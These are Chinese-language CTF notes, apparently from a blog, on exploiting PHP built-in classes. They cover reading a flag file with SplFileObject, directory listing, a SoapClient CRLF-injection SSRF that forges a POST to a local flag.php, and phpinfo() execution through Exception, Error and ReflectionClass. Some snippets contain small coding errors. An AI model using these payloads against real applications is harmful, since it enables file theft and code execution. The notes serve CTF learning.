php原生類
讀取文件
可使用:SplFileObject類
用法:
<?php
$f=new SplFileObject('/flag') //讀取flag文件
}
?>
遍歷目錄
可使用:DirectoryIterator、RecursiveDirectoryIterator、FilesystemIterator
用法:
<?php
$f=new DirectoryIterator('/') //掃描根目錄
foreach($dir as $f) {
echo($f . '<br>');
}
?>
RecursiveDirectoryIterator、FilesystemIterator類同上
FilesystemIterator不會輸出..
訪問服務器的類(SSRF可利用)
可使用:SoapClient
代碼解析
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,
'user_agent'=>'chendi^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,
'uri'=> "dwzzzzzzzzzz")); //構造POST請求,uri參數用于在SOAP消息中標識XML元素和屬性的來源或含義。
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$c =unserialize($a);
$c->aaas(); //調用不存在函數觸發__call
使用原生類進行代碼執行
使用異常處理類Exception執行代碼
echo new Exception(phpinfo());
使用CachingIterator類執行代碼
echo new CachingIterator(phpinfo());
使用Error類執行代碼
echo new Error(phpinfo());
使用DirectoryIterator類執行代碼
echo new DirectoryIterator(phpinfo());
反射類的使用
ReflectionClass
ReflectionClass類可以獲取類的名稱、父類、接口、方法、屬性
<?php
$a=new ReflectionClass('類名');
echo($a);//輸出類的名稱和屬性、方法等
?>
利用ReflectionClass 執行命令
<?php
echo new ReflectionClass(phpinfo());
?>
浙公網安備 33010602011771號